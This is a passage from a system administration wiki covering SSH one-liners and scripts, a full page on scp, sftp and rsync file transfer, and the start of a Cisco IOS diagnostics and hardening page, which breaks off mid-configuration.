ssh-keygen -F host; ssh-keygen -R host # Compare a local and remote file without copying diff <(ssh host 'sha256sum < /etc/app.conf') <(sha256sum < /etc/app.conf) # Mount a remote directory (sshfs is a separate package) sshfs host:/srv/data /mnt/data -o reconnect,ServerAliveInterval=15 # Measure login time with and without connection reuse time ssh -o ControlPath=none host true; time ssh host true # Which host key algorithms, kex and ciphers this client supports ssh -Q key; ssh -Q kex; ssh -Q cipher # Host key fingerprints of every key type a server presents, for comparing out of band ssh-keyscan -t ed25519,rsa,ecdsa host.example.com 2>/dev/null | ssh-keygen -lf - # Pre-seed known_hosts for a batch of new hosts (only when the network path is trusted) ssh-keyscan -t ed25519 host{1..5}.example.com 2>/dev/null >> ~/.ssh/known_hosts # Hash an existing known_hosts in place; the .old backup is left beside it ssh-keygen -H -f ~/.ssh/known_hosts # Accept a rotated host key without dropping the rest of the file ssh-keygen -R host.example.com && ssh -o StrictHostKeyChecking=accept-new host.example.com true # One key, one host, no agent: rule out config and agent noise ssh -F /dev/null -o IdentitiesOnly=yes -o IdentityAgent=none -i ~/.ssh/id_ed25519 alice@host # Debug output with timestamps to a file, terminal stays clean ssh -vvv -E /tmp/ssh-debug.log host true; grep -n 'Authenticat' /tmp/ssh-debug.log # Print a certificate's identity, principals and validity ssh-keygen -L -f ~/.ssh/id_ed25519-cert.pub # Days until a certificate expires ssh-keygen -L -f ~/.ssh/id_ed25519-cert.pub | awk '/Valid:/ {print $NF}' # Run a local script on a remote host without copying it first ssh host 'bash -s -- -v' < ./check.sh # Run a command as root via sudo with a TTY for the password prompt ssh -t host 'sudo systemctl restart my-app' # Stream a remote log with a heartbeat that survives idle NAT timers ssh -o ServerAliveInterval=15 host 'journalctl -fu my-app' # Open a tmux session, reattaching if it exists ssh -t host 'tmux new -A -s main' # Interactive port forward added to a live session: type ~C then -L 8443:web.internal.example:443 # Background SOCKS proxy that dies when the terminal does not ssh -fN -D 1080 -o ExitOnForwardFailure=yes bastion && curl --proxy socks5h://127.0.0.1:1080 https://intranet.example.com/ # List the forwards an existing master holds, then close it ssh -O check bastion; ssh -O exit bastion # Copy a directory tree preserving ownership when rsync is missing on the target tar cf - -C /srv app | ssh host 'tar xpf - -C /srv' # Remote disk usage across a fleet as CSV, with a timeout so a dead host does not block for h in host{1..5}.example.com; do printf '%s,' "$h"; ssh -o BatchMode=yes -o ConnectTimeout=5 "$h" "df --output=pcent / | tail -1" || echo unreachable; done # Effective sshd value for one user from one address, with Match blocks applied sudo sshd -T -C user=deploy,addr=198.51.100.7 | grep -Ei 'forcecommand|permitopen|allowtcpforwarding' # Failed logins by source address today sudo journalctl -u sshd --since today | grep -oE 'Failed .* from [0-9a-f.:]+' | awk '{print $NF}' | sort | uniq -c | sort -rn | head # Who is logged in over SSH right now, and from where who --ips # Sign a file with an SSH key and verify it with an allowed-signers list ssh-keygen -Y sign -f ~/.ssh/id_ed25519 -n file release.tgz ssh-keygen -Y verify -f allowed_signers -I alice@laptop -n file -s release.tgz.sig < release.tgz ``` ## Scripts Report which hosts in a list accept your key, with the OpenSSH version they run, without ever prompting. ```sh #!/usr/bin/env bash # usage: ssh-fleet-check hosts.txt set -euo pipefail hosts=${1:?hosts file required} opts=(-o BatchMode=yes -o ConnectTimeout=5 -o StrictHostKeyChecking=accept-new -o LogLevel=ERROR) printf 'host\tstatus\tsshd\n' while IFS= read -r host || [[ -n $host ]]; do [[ -z $host || $host == \#* ]] && continue if ver=$(ssh "${opts[@]}" "$host" 'ssh -V 2>&1' 2>/dev/null); then # client and server ship in one package printf '%s\tok\t%s\n' "$host" "$ver" elif nc -zw3 "$host" 22 2>/dev/null; then printf '%s\tauth-failed\t-\n' "$host" else printf '%s\tunreachable\t-\n' "$host" fi done < "$hosts" ``` Issue short-lived user certificates from a CA, keeping the serial monotonic so a KRL can revoke by serial later. ```sh #!/usr/bin/env bash # usage: sign-user-key [validity] set -euo pipefail ca=${SSH_CA:-$HOME/ca/user_ca} pub=${1:?public key}; ident=${2:?identity}; princ=${3:?principals}; valid=${4:-+8h} serial_file=${ca}.serial serial=$(( $(cat "$serial_file" 2>/dev/null || echo 0) + 1 )) ssh-keygen -s "$ca" -I "$ident" -n "$princ" -V "$valid" -z "$serial" \ -O clear -O permit-pty -O permit-port-forwarding "$pub" printf '%s\n' "$serial" > "$serial_file" printf '%s\t%s\t%s\t%s\t%s\n' "$(date -u +%FT%TZ)" "$serial" "$ident" "$princ" "$valid" >> "${ca}.log" ssh-keygen -L -f "${pub%.pub}-cert.pub" | grep -E 'Serial|Valid|Principals' ``` Rotate a host's `authorized_keys` from a Git-managed file, keeping a backup and refusing to install an empty or malformed set. ```sh #!/usr/bin/env bash # usage: push-authorized-keys keys.txt host [host...] set -euo pipefail keys=${1:?keys file}; shift [[ -s $keys ]] || { echo "refusing to push an empty key file" >&2; exit 1; } ssh-keygen -lf "$keys" >/dev/null # fails when the file holds no parseable public key for host in "$@"; do ssh -o BatchMode=yes -o ConnectTimeout=5 "$host" 'umask 077; mkdir -p ~/.ssh [ -f ~/.ssh/authorized_keys ] && cp ~/.ssh/authorized_keys ~/.ssh/authorized_keys.bak cat > ~/.ssh/authorized_keys.new && mv ~/.ssh/authorized_keys.new ~/.ssh/authorized_keys' < "$keys" ssh -o BatchMode=yes -o ConnectTimeout=5 "$host" true \ && printf '%s: ok (%s keys)\n' "$host" "$(grep -c '^ssh-\|^sk-' "$keys")" \ || { printf '%s: login failed after push; backup is ~/.ssh/authorized_keys.bak on the host\n' "$host" >&2; exit 1; } done ``` ## Further reading - [ssh_config(5)](https://man.openbsd.org/ssh_config) and [sshd_config(5)](https://man.openbsd.org/sshd_config): the authoritative option lists and defaults - [ssh(1)](https://man.openbsd.org/ssh), [ssh-keygen(1)](https://man.openbsd.org/ssh-keygen) and [sftp(1)](https://man.openbsd.org/sftp): flags, certificate and KRL operations, batch mode - [OpenSSH release notes](https://www.openssh.com/releasenotes.html) for version-dependent behaviour --- # SCP > Copy files over SSH with scp, understand its SFTP-based transfer since OpenSSH 9.0, and know when rsync, sftp or tar is the better tool. Canonical: https://www.wiki.jodisand.me/scp/ Reviewed: 2026-09-24 Related: [SSH](https://www.wiki.jodisand.me/ssh/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Upload | `scp file host:/tmp/` | | Download | `scp host:/tmp/file .` | | Directory | `scp -r dir host:/srv/` | | Keep mtime, atime and mode | `scp -p file host:/tmp/` | | Non-standard port | `scp -P 2222 file host:/tmp/` | | Specific key | `scp -i ~/.ssh/id_deploy file host:/tmp/` | | Through a bastion | `scp -J bastion file host:/tmp/` | | Between two remotes, via this machine | `scp a:/f b:/f` | | Between two remotes, directly | `scp -R a:/f b:/f` | | Cap bandwidth (Kbit/s) | `scp -l 8000 big.tar host:/tmp/` | | Quiet, for scripts | `scp -q -B file host:/tmp/` | | Legacy SCP protocol | `scp -O file host:/tmp/` | | Debug a failure | `scp -v file host:/tmp/` | `-P` (capital) is the port for `scp` because `-p` preserves times and modes. `ssh` uses `-p` for the port. Mixing them up is the most common scp error: `scp -p 2222 ...` treats `2222` as a file name. ## How scp transfers files `scp` opens an [SSH](https://www.wiki.jodisand.me/ssh/) connection and, since OpenSSH 9.0, uses the **SFTP protocol** over it by default. It authenticates and encrypts exactly like `ssh`, and everything in `~/.ssh/config` applies: a `Host` entry with `ProxyJump`, `User` and `IdentityFile` makes `scp file db-01:/tmp/` work without flags. Before 9.0 it used the legacy SCP/RCP protocol, which ran `scp -t` or `scp -f` on the server through the remote shell. That design had two consequences that the SFTP mode removes: | Behaviour | Legacy SCP protocol (`-O`) | SFTP mode (default since 9.0) | | --- | --- | --- | | Remote paths | Passed through the remote shell, so spaces and metacharacters needed a second layer of quoting | Sent as literal file names; quote once for your local shell | | Remote globs (`host:'*.log'`) | Expanded by the remote shell | Expanded by scp using SFTP directory listing | | `~user/` paths | Expanded by the remote shell | Needs the `expand-path@openssh.com` extension (OpenSSH 8.7+ `sftp-server`) | | Server requirement | `scp` binary on the server | SFTP subsystem enabled on the server | Since OpenSSH 8.7, copies between two remote hosts go through the local machine by default (`-3` behaviour), so neither remote host needs credentials for the other. `-R` restores the old direct copy, which requires the origin host to authenticate to the destination without a password. Use `-O` only for servers without an SFTP subsystem (some embedded devices and network gear) or scripts that depend on remote shell expansion. Administrators can block the legacy protocol by creating a world-readable `/etc/ssh/disable_scp`. ## Syntax ```sh scp [options] source ... target scp file.txt host:/remote/dir/ # local to remote scp host:/remote/file.txt ./local/ # remote to local scp alice@host:/path/file . # explicit user scp -r ./dir host:/srv/ # recursive; follows symlinks it meets scp 'host:/var/log/*.log' ./logs/ # quote so the local shell does not expand the glob scp 'host:/tmp/my file.txt' . # SFTP mode: one level of quoting is enough scp a.example.com:/f b.example.com:/f # remote to remote, relayed through this machine scp file '[2001:db8::1]:/tmp/' # IPv6 literal needs brackets scp ./a:b.txt host:/tmp/ # a local name containing ':' needs a path prefix ``` When downloading, scp checks that the file names the server sends match what you asked for. `-T` disables that check for glob patterns the check rejects, at the cost of trusting the server not to send unexpected files. ## When not to use scp | Situation | Better tool | | --- | --- | | Large or repeated transfers | `rsync -avzP`: sends only changes, resumable, shows progress | | Directory trees that must match exactly | `rsync -av --delete` (dry run first) | | Many small files | `tar` over SSH: one stream instead of per-file round trips | | Interactive browsing, or scripted put/get with error handling | `sftp`, with `-b batchfile` | | Mounting instead of copying | `sshfs` | ```sh rsync -avzP ./dir/ host:/srv/dir/ # trailing slash on the source copies its contents rsync -av --delete --dry-run ./dir/ host:/srv/dir/ # preview what --delete would remove tar czf - ./dir | ssh host 'tar xzf - -C /srv' # fast for thousands of small files ssh host 'tar czf - /var/log/nginx' > nginx-logs.tgz ``` > [!WARNING] > `rsync --delete` removes files on the target that are not in the source. Run it with `--dry-run` first, and check the trailing slash: `./dir` and `./dir/` copy to different places. ## sftp `sftp` speaks the same protocol scp now uses, through the same `sftp-server` or `internal-sftp` subsystem, but exposes it as a session: list, change directory, transfer, and get a per-command exit status. It is the right tool when a script must react to a missing file or a failed upload rather than discover it afterwards from scp's single exit code. ```sh sftp host # interactive session; ssh_config applies sftp -P 2222 -i ~/.ssh/id_deploy alice@host sftp host:/var/log/app.log . # non-interactive single download sftp host:/var/log/ # opens the session in that directory ``` Inside the session the common commands are `ls -l`, `cd`, `pwd`, `get`, `put`, `mkdir`, `rename`, `rm`, `df` and `bye`; the local equivalents are `lls`, `lcd` and `lpwd`. `get` and `put` take `-r` for directories, `-p` to preserve times and modes, and `-a` to resume a partial file; `reget` and `reput` are shorthand for the `-a` form. `progress` toggles the progress meter. Batch mode reads commands from a file and needs non-interactive authentication (key, agent or certificate); it exits non-zero on the first failing `get`, `put`, `reget`, `reput`, `rename`, `ln`, `rm`, `mkdir`, `chdir`, `ls`, `lchdir`, `copy`, `cp`, `chmod`, `chown`, `chgrp`, `lpwd`, `df`, `symlink` or `lmkdir`. Prefix a command with `-` to ignore its failure and with `@` to suppress its echo. ```sh cat > upload.sftp <<'EOF' -mkdir /srv/app/releases cd /srv/app/releases put -p my-app-1.4.2.tar.gz ls -l my-app-1.4.2.tar.gz EOF sftp -q -b upload.sftp deploy@host # -q hides the progress meter; exit status reflects the batch ``` Tuning flags: `-R num_requests` sets the outstanding requests per transfer (default 64) and `-B buffer_size` the buffer per request (default 32768 bytes); raise both on high-latency links. `-l limit` caps bandwidth in Kbit/s and `-f` asks the server to flush each file to disk after transfer, useful before a remote process consumes it. ## rsync `rsync` compares source and destination file lists first, then sends only the files (and with the delta algorithm, only the blocks) that differ. Over SSH it runs an `rsync` process on the far end, so both sides need the binary; `--rsync-path` names it when it is not on the remote `PATH`. ```sh rsync -av ./dir/ host:/srv/dir/ # -a = -rlptgoD: recurse, links, perms, times, owner, group, devices rsync -avz --partial --progress big.iso host:/srv/ # -z compresses; --partial keeps a half-sent file for resumption rsync -av -e 'ssh -p 2222 -i ~/.ssh/id_deploy' ./dir/ host:/srv/dir/ # options for the transport rsync -avn --itemize-changes ./dir/ host:/srv/dir/ # -n dry run, -i shows what would change and why rsync -av --files-from=list.txt / host:/backup/ # absolute paths in list.txt, relative to the / given rsync -av --exclude='*.log' --exclude='.git/' ./dir/ host:/srv/dir/ rsync -av --bwlimit=5m ./dir/ host:/srv/dir/ # rate in KiB/s unless suffixed; 5m = 5 MiB/s rsync -av --rsync-path='sudo rsync' ./dir/ host:/etc/app/ # write as root without root login rsync -avc ./dir/ host:/srv/dir/ # -c compares checksums, not size and mtime; slow but exact rsync -av --link-dest=/backup/prev ./dir/ host:/backup/today/ # unchanged files become hard links to prev ``` The itemize output reads left to right: `>f+++++++++` is a new file being sent, `>f.st......` an existing file whose size and time changed, `*deleting` a removal. `--info=progress2` prints a single overall progress line instead of one per file. Filter rules are evaluated in order and the first match wins, so put includes before the exclude that would otherwise catch them: ```sh rsync -av --include='*/' --include='*.conf' --exclude='*' ./etc/ host:/srv/etc/ # only .conf files, keeping the tree ``` `--delete` variants: `--delete` removes destination files absent from the source, `--delete-excluded` also removes files the exclude rules skipped. `--backup --backup-dir=/srv/.rsync-backup` keeps a copy of anything overwritten or deleted, which turns a mistaken sync into a recoverable one. `--max-size` and `--min-size` skip files outside a size range, and `--timeout` aborts a stalled transfer rather than hanging forever. ## Batching many files Each file in an SFTP transfer costs at least one round trip for the open, plus one for the close, so thousands of small files on a 100 ms link take minutes regardless of bandwidth. Three ways out, in order of preference: ```sh rsync -a ./dir/ host:/srv/dir/ # pipelines the file list; best for repeated syncs tar cf - -C ./dir . | ssh host 'tar xf - -C /srv/dir' # one stream; add z on both sides only for compressible data tar cf - -C ./dir . | ssh -o Compression=yes host 'tar xf - -C /srv/dir' # compress the SSH channel instead scp -r ./dir host:/srv/ # last resort; follows symlinks and needs a round trip per file ``` `tar` with `-C` changes directory before archiving so the archive holds relative paths; without it a `tar cf - /srv/dir` archive unpacks to `srv/dir` under the target. Pipe through `pv` (`tar cf - . | pv | ssh ...`) to see throughput on a stream that has no progress meter. For many hosts, run transfers in parallel rather than serially. `xargs -P` limits concurrency, and `ssh -o BatchMode=yes` (which `scp -B` sets) turns a password prompt into an immediate failure instead of a hang. ```sh xargs -a hosts.txt -P8 -I{} scp -q -B -o ConnectTimeout=10 config.yaml {}:/etc/app/ ``` Through a bastion, `-J` (or `ProxyJump` in `ssh_config`) works for `scp`, `sftp` and `rsync -e 'ssh -J bastion.example.com'` alike, and never places the file on the bastion. Reusing one connection across many copies removes the handshake cost: set `ControlMaster auto`, `ControlPath ~/.ssh/cm-%r@%h:%p` and `ControlPersist 10m` for the host in `ssh_config`, and subsequent `scp`, `sftp` and `rsync` runs ride the open socket. See [SSH](https://www.wiki.jodisand.me/ssh/) for the config syntax. ## Resuming and verifying `scp` cannot resume: an interrupted copy leaves a truncated file and a second run starts from zero. Use `sftp reget`/`reput` or `rsync --partial`. Plain `--partial` keeps the partial file and rsync's delta algorithm skips the matching blocks on the next run; `--append-verify` assumes the existing prefix is correct, appends the rest and checksums the whole file at the end, which is faster on a link where the transfer stalled but wrong if the source changed meanwhile. `--inplace` writes directly into the destination file rather than a temporary copy, which saves space for huge files but leaves a corrupt destination if the transfer dies. Verify after any transfer that matters. rsync checks a whole-file checksum on every file it transfers, so a clean exit is already a verification; scp and tar do not. ```sh sha256sum big.iso # local ssh host 'sha256sum /srv/big.iso' # remote; compare by eye or with the script below ssh host 'cd /srv && sha256sum -c -' < checksums.txt # remote verification of many files from a local manifest ``` Bandwidth and compression: `scp -l` and `sftp -l` take Kbit/s; `rsync --bwlimit` takes KiB/s (or a suffix such as `5m`). Compression (`-C` for scp, `-z` for rsync) helps text and logs and slows already-compressed archives, images and encrypted files, because the cipher has to wait for a compressor that gains nothing. ## Troubleshooting | Symptom | Cause | Check or fix | | --- | --- | --- | | `2222: No such file or directory`, or it connects to port 22 | Used `-p` (preserve) instead of `-P` (port) | `scp -P 2222 ...` | | `subsystem request failed on channel 0` or `Connection closed` immediately | Server has no SFTP subsystem | Enable `Subsystem sftp` in `sshd_config`, or use `-O` | | `scp: Received message too long` / garbage before transfer | Shell startup file on the server prints output for non-interactive sessions | Make `.bashrc` return early when not interactive | | Glob or `~` path worked before, fails now | Script relied on remote shell expansion of the legacy protocol | Rewrite the path, or `-O` | | `protocol error: filename does not match request` (legacy `-O` mode) | Filename check rejected a server-side glob result | Narrow the pattern, or `-T` if you trust the server | | Remote-to-remote copy fails authenticating | `-R` used and origin host cannot reach the target without a password | Drop `-R` so data relays through this machine | | Slow on many small files | Per-file round trips | Use `tar` over SSH or `rsync` | | Any authentication or host key error | Same as ssh | `scp -v`, then see [SSH troubleshooting](https://www.wiki.jodisand.me/ssh/#troubleshooting) | | Transfer stalls, then `Connection reset` | Idle link killed by a NAT or firewall | `-o ServerAliveInterval=30`; resume with `rsync --partial` | | `scp: dest open "/srv/f": Permission denied` | Target directory not writable by the SSH user | `ssh host 'ls -ld /srv'`; use `rsync --rsync-path='sudo rsync'` | | `rsync: command not found` on the remote | rsync missing from the remote `PATH` or not installed | `ssh host 'command -v rsync'`; `--rsync-path=/usr/local/bin/rsync` | | `rsync: connection unexpectedly closed` | Remote shell startup printed output, or the remote rsync died | `ssh host true \| wc -c` must be 0; check remote disk with `df` | | Truncated file after an interrupted scp | scp cannot resume | Re-run with `rsync --partial --progress` or `sftp` then `reget` | | Second rsync run copies everything again | `-a` missing, so times were not preserved and every file looks changed | Add `-a` or `-t`; `--itemize-changes` shows the reason per file | | Hangs waiting for a password from cron | No TTY and no key | `scp -B` or `ssh -o BatchMode=yes`; load a key or agent | | Directory copied to `/srv/dir/dir` | Source given without trailing slash to rsync, or target directory already existed for scp | `rsync ./dir/ host:/srv/dir/`; `scp -r ./dir host:/srv/` creates or reuses `/srv/dir` | | Symlink dereferenced into a full copy | `scp -r` follows symbolic links it meets | Use `rsync -a` (copies the link itself) or `tar` | ## Oneliners ```sh # Copy, then compare checksums on both ends scp app.tar host:/tmp/ && ssh host 'sha256sum /tmp/app.tar' && sha256sum app.tar # Fan a file out to many hosts, 8 at a time printf '%s\n' web{1..10}.example.com | xargs -P8 -I{} scp -q -B config.yaml {}:/etc/app/ # Pull the same log from each host into a per-host file for h in web1 web2; do scp -q "$h:/var/log/app.log" "app-$h.log"; done # Copy only if the remote copy is older rsync -avu file host:/srv/ # Resume an interrupted large transfer rsync --partial --progress --append-verify big.iso host:/srv/ # Tune SFTP concurrency for a high-latency link (defaults: 64 requests, 32 KB buffer) scp -X nrequests=128 big.iso host:/srv/ # Restrict a deploy key to file transfer only, in authorized_keys # restrict,command="internal-sftp" ssh-ed25519 AAAA...placeholder deploy@ci # Copy through a bastion without landing the file on it scp -J bastion.example.com app.tar host:/tmp/ # Upload with a non-default port and key without touching ssh_config scp -P 2222 -i ~/.ssh/id_deploy -p app.tar deploy@host:/srv/ # Keep a connection open for 10 minutes so repeated copies skip the handshake scp -o ControlMaster=auto -o ControlPath=~/.ssh/cm-%r@%h:%p -o ControlPersist=10m app.tar host:/tmp/ # Fail fast instead of hanging when a host is down scp -q -B -o ConnectTimeout=10 config.yaml host:/etc/app/ # Cap at 1 Mbit/s so a backup does not saturate an office link scp -l 1000 backup.tgz host:/backup/ # Download every .conf under a remote tree, keeping the directory structure rsync -avm --include='*/' --include='*.conf' --exclude='*' host:/etc/app/ ./app-etc/ # Preview exactly what a mirror sync would add, change and delete rsync -avn --delete --itemize-changes ./site/ host:/var/www/site/ # Mirror with a safety net: overwritten and deleted files go to a dated backup directory rsync -av --delete --backup --backup-dir="/srv/.rsync-backup/$(date +%F)" ./site/ host:/var/www/site/ # One overall progress line for a large tree instead of one per file rsync -a --info=progress2 ./data/ host:/srv/data/ # Copy as root on the target using sudo without root login rsync -av --rsync-path='sudo rsync' ./etc-app/ host:/etc/app/ # Pull a remote directory and delete files on the remote only after they arrived rsync -av --remove-source-files host:/var/spool/out/ ./inbox/ # Stream a directory as a tarball with throughput display tar cf - -C ./dir . | pv | ssh host 'tar xf - -C /srv/dir' # Pull a remote directory as a tarball, compressed on the remote ssh host 'tar czf - -C /var/lib app' > app.tgz # Pipe a remote database dump straight to a local file with no intermediate copy ssh db.example.com 'pg_dump -Fc my-db' > my-db.dump # Fetch a single file non-interactively with sftp sftp -q host:/var/log/app.log . # Resume a half-downloaded file sftp host <<< 'reget /srv/big.iso big.iso' # Batch upload that aborts on the first failure and returns non-zero printf 'cd /srv/app\nput -p release.tgz\n' | sftp -q -b - deploy@host # Verify many files on the remote against a local manifest sha256sum ./dist/* | sed 's# ./dist/# #' | ssh host 'cd /srv/app && sha256sum -c -' # Copy a directory between two remotes directly (origin must authenticate to target) scp -R -r a.example.com:/srv/app b.example.com:/srv/ # Copy a file to a name containing spaces on the remote (SFTP mode: quote once) scp report.pdf 'host:/srv/docs/Q3 report.pdf' # Force IPv4 when a dual-stack host has broken IPv6 scp -4 app.tar host:/tmp/ # Find what changed on the remote since the last sync without transferring anything rsync -avnc host:/etc/app/ ./app-etc/ | grep -v '/$' # Sync only files modified in the last day (GNU find), keeping relative paths find ./logs -type f -mtime -1 -print0 | rsync -av --files-from=- --from0 ./ host:/backup/logs/ # Hard-link snapshot backup: unchanged files cost no space rsync -a --link-dest=../prev ./data/ host:/backup/snap-"$(date +%F)"/ ``` ## Scripts Push a release archive to a fleet in parallel, verify each copy by checksum and report the hosts that failed. ```sh #!/usr/bin/env bash set -euo pipefail # usage: fanout.sh < hosts.txt file=${1:?file required}; dest=${2:?remote dir required} sum=$(sha256sum "$file" | cut -d' ' -f1) tmp=$(mktemp -d); trap 'rm -rf -- "$tmp"' EXIT push() { # one host per invocation; called by xargs local host=$1 if scp -q -B -o ConnectTimeout=10 "$file" "$host:$dest/" \ && [[ $(ssh -o BatchMode=yes "$host" "sha256sum '$dest/${file##*/}'" | cut -d' ' -f1) == "$sum" ]]; then printf '%s ok\n' "$host" else printf '%s FAILED\n' "$host" >&2; printf '%s\n' "$host" >> "$tmp/failed" fi } export -f push; export file dest sum tmp xargs -P8 -I{} bash -c 'push "$@"' _ {} if [[ -s "$tmp/failed" ]]; then printf 'failed hosts:\n' >&2; cat "$tmp/failed" >&2; exit 1 fi ``` Mirror a directory to a remote with a dry run first, a dated backup of anything it would overwrite or delete, and a log for the audit trail. ```sh #!/usr/bin/env bash set -euo pipefail src=${1:?source dir required}; dest=${2:?user@host:/path required} log=/var/log/mirror-$(date +%F).log common=(-a --delete --human-readable --stats --log-file="$log") backup_dir=".rsync-backup/$(date +%FT%H%M%S)" changes=$(rsync "${common[@]}" --dry-run --itemize-changes "$src/" "$dest/" | grep -cE '^[<>ch*]' || true) printf '%s changes pending\n' "$changes" (( changes > 0 )) || exit 0 rsync "${common[@]}" --backup --backup-dir="$backup_dir" "$src/" "$dest/" printf 'done; backups of replaced files under %s/%s\n' "$dest" "$backup_dir" ``` Collect a fixed set of files from many hosts into per-host directories, with a timeout so one dead host does not stall the run. ```sh #!/usr/bin/env bash set -euo pipefail # usage: collect.sh out-dir host... ; collects the paths listed in $PATHS (space separated) out=${1:?output dir required}; shift PATHS=${PATHS:-/etc/os-release /var/log/app.log} rc=0 for host in "$@"; do mkdir -p "$out/$host" for p in $PATHS; do if ! timeout 60s scp -q -B -o ConnectTimeout=10 "$host:$p" "$out/$host/${p##*/}"; then printf '%s: failed to fetch %s\n' "$host" "$p" >&2; rc=1 fi done done exit "$rc" ``` ## Further reading - [scp(1)](https://man.openbsd.org/scp) for the full flag list - [OpenSSH 9.0 release notes](https://www.openssh.com/txt/release-9.0) for the SFTP switch and its compatibility notes - [sftp(1)](https://man.openbsd.org/sftp) for batch mode and the interactive commands - [rsync(1)](https://download.samba.org/pub/rsync/rsync.1) for filter rules and the itemize output format --- # Cisco IOS > Diagnose and configure Cisco IOS and IOS XE devices: show commands, interfaces, VLANs, OSPF, BGP, ACLs and changes that roll back if they lock you out. Canonical: https://www.wiki.jodisand.me/cisco/ Reviewed: 2026-09-24 Related: [Network automation](https://www.wiki.jodisand.me/netauto/index.md), [SSH](https://www.wiki.jodisand.me/ssh/index.md), [iproute2](https://www.wiki.jodisand.me/iproute2/index.md), [DNS](https://www.wiki.jodisand.me/dns/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Stop paging for this session | `terminal length 0` | | Running config | `show running-config` | | One interface's config | `show running-config interface Gi1/0/1` | | One section of the config | `show running-config \| section router ospf` | | Interface summary | `show ip interface brief` | | Switch port status | `show interfaces status` | | Interface detail and counters | `show interfaces Gi1/0/1` | | Errors only, quickly | `show interfaces \| include line protocol\|error\|drops` | | MAC table | `show mac address-table` | | ARP | `show ip arp` | | Neighbours | `show cdp neighbors detail`, `show lldp neighbors detail` | | Routing table | `show ip route` | | Route used for one address | `show ip route 192.0.2.7` | | VLANs | `show vlan brief` | | Trunk status | `show interfaces trunk` | | Log | `show logging` | | Uptime, image, last reload reason | `show version` | | Save | `copy running-config startup-config` | | Safety net before a change | `reload in 10` then `reload cancel` | Interface names differ by platform: `Gi0/1` on older IOS, `Gi1/0/1` on Catalyst 9000 stacks (switch/module/port), `Gi0/0/0` on IOS XE routers. Examples below use `Gi1/0/1`. ## How IOS configuration works IOS keeps two configurations. `running-config` is in memory and every `configure terminal` command changes it immediately; there is no candidate or commit. `startup-config` is in NVRAM and is what the device loads after a reload. A change you have not saved disappears on reboot, which is both a risk and the basis of the `reload in` safety net. The CLI has modes: user EXEC (`>`), privileged EXEC (`#`, after `enable`), global config (`(config)#`) and sub-modes such as `(config-if)#`. `show` commands run from privileged EXEC; from config mode prefix them with `do`, as in `do show ip interface brief`. ## Getting oriented ```text enable terminal length 0 show version show inventory show running-config | include hostname|ip route|username show processes cpu sorted | exclude 0.00% show memory statistics show logging | begin ``` `show tech-support` collects everything for a TAC case and is too large to read; use targeted `show` commands with output filters instead. | Filter | Effect | | --- | --- | | `\| include X` | Lines matching regex X | | `\| exclude X` | Lines not matching X | | `\| section X` | Whole configuration blocks whose header matches X | | `\| begin X` | Everything from the first match onward | | `\| count X` | Number of lines matching X | | `\| redirect flash:out.txt` | Write output to a file instead of the screen | The filter argument is a regular expression. `|` inside it means OR, `_` matches a space or line boundary. ### Show commands by question | Question | Command | | --- | --- | | Is the hardware healthy | `show environment all`, `show platform` (IOS XE), `show power inline` (PoE budget per port) | | What optic is in the port and what light level | `show interfaces Gi1/0/1 transceiver detail` | | Which stack member is master, stack health | `show switch`, `show switch stack-ports` | | Port-channel members and their state | `show etherchannel summary` (flags: `P` bundled, `D` down, `s` suspended, `I` individual) | | First-hop redundancy | `show standby brief`, `show vrrp brief`, `show glbp brief` | | Which routing protocols run, with timers and networks | `show ip protocols` | | OSPF interface cost, timers, DR/BDR | `show ip ospf interface Gi1/0/1` | | BGP table for one prefix, best path and why | `show ip bgp 192.0.2.0/24` | | What CEF will do with a packet | `show ip cef 192.0.2.7 detail`, `show ip cef exact-route 10.0.0.1 192.0.2.7` | | DHCP server state | `show ip dhcp binding`, `show ip dhcp pool`, `show ip dhcp conflict` | | NAT translations and hit counts | `show ip nat translations`, `show ip nat statistics` | | Port security state and violations | `show port-security`, `show port-security interface Gi1/0/2` | | Who is logged in and from where | `show users`, `show line` | | Time, NTP sync and drift | `show clock detail`, `show ntp status`, `show ntp associations` | | Syslog destinations and levels | `show logging \| section Logging` | | Files on flash, free space | `dir flash:`, `show file systems` | | Boot image and install mode | `show boot`, `show version \| include image\|mode`, `show install summary` (IOS XE) | | IP SLA probes and results | `show ip sla summary`, `show ip sla statistics 1` | | Multicast groups and IGMP snooping | `show ip igmp snooping groups`, `show ip mroute` | | TCAM and hardware resource usage | `show platform hardware fed switch active fwd-asic resource tcam utilization` (Catalyst 9000) | | Reason for the last crash | `show version \| include reload`, `dir crashinfo:`, `show logging onboard` | `show ip cef` is the answer when `show ip route` says one thing and packets do another: the FIB is what the hardware forwards on, and a stale adjacency or a recursive route that fails to resolve shows here first. ## EtherChannel, first-hop redundancy and port security Bundle links with LACP (`active`) rather than PAgP or `on`; both ends must agree on speed, duplex, trunk mode and allowed VLANs or the member is suspended. ```text interface range GigabitEthernet1/0/23 - 24 channel-group 1 mode active ! creates interface Port-channel1 interface Port-channel1 switchport mode trunk switchport trunk allowed vlan 10,20,30 switchport nonegotiate ``` ```text show etherchannel summary show etherchannel 1 detail | include Protocol|State|Port-channel show lacp neighbor ``` HSRP puts a virtual gateway address on a VLAN across two switches. `preempt` lets the higher-priority router take over when it returns, and tracking an uplink lowers the priority when the path upstream is gone so the standby with a working uplink takes over. ```text interface Vlan20 ip address 192.0.2.2 255.255.255.0 standby version 2 standby 20 ip 192.0.2.1 standby 20 priority 110 standby 20 preempt delay minimum 60 standby 20 track 1 decrement 20 ! track 1 interface GigabitEthernet1/0/1 line-protocol ``` ```text show standby brief ! P = preempt, state Active/Standby, virtual IP show track brief ``` Port security limits which MAC addresses may send on an access port. `sticky` learns and writes them into the running config; `violation restrict` drops offending frames and logs, while the default `shutdown` err-disables the port. ```text interface GigabitEthernet1/0/2 switchport port-security switchport port-security maximum 2 switchport port-security mac-address sticky switchport port-security violation restrict ! errdisable recovery cause psecure-violation errdisable recovery interval 300 ``` ## Management hardening The baseline every device should have before it carries traffic: SSH only, a management ACL on the VTY lines, NTP with authentication, syslog to a collector, AAA with local fallback, and no plaintext services. ```text hostname sw-01 ip domain name example.com crypto key generate rsa modulus 4096 ip ssh version 2 ip ssh server algorithm encryption aes256-gcm aes256-ctr ! no ip http server no ip http secure-server ! unless RESTCONF or a web GUI is required no service pad no ip source-route service password-encryption service timestamps log datetime msec localtime show-timezone ! username admin privilege 15 secret ! secret hashes it (type 9 scrypt on current IOS XE); password does not enable secret ! ip access-list standard MGMT-HOSTS permit 192.0.2.0 0.0.0.255 ! line vty 0 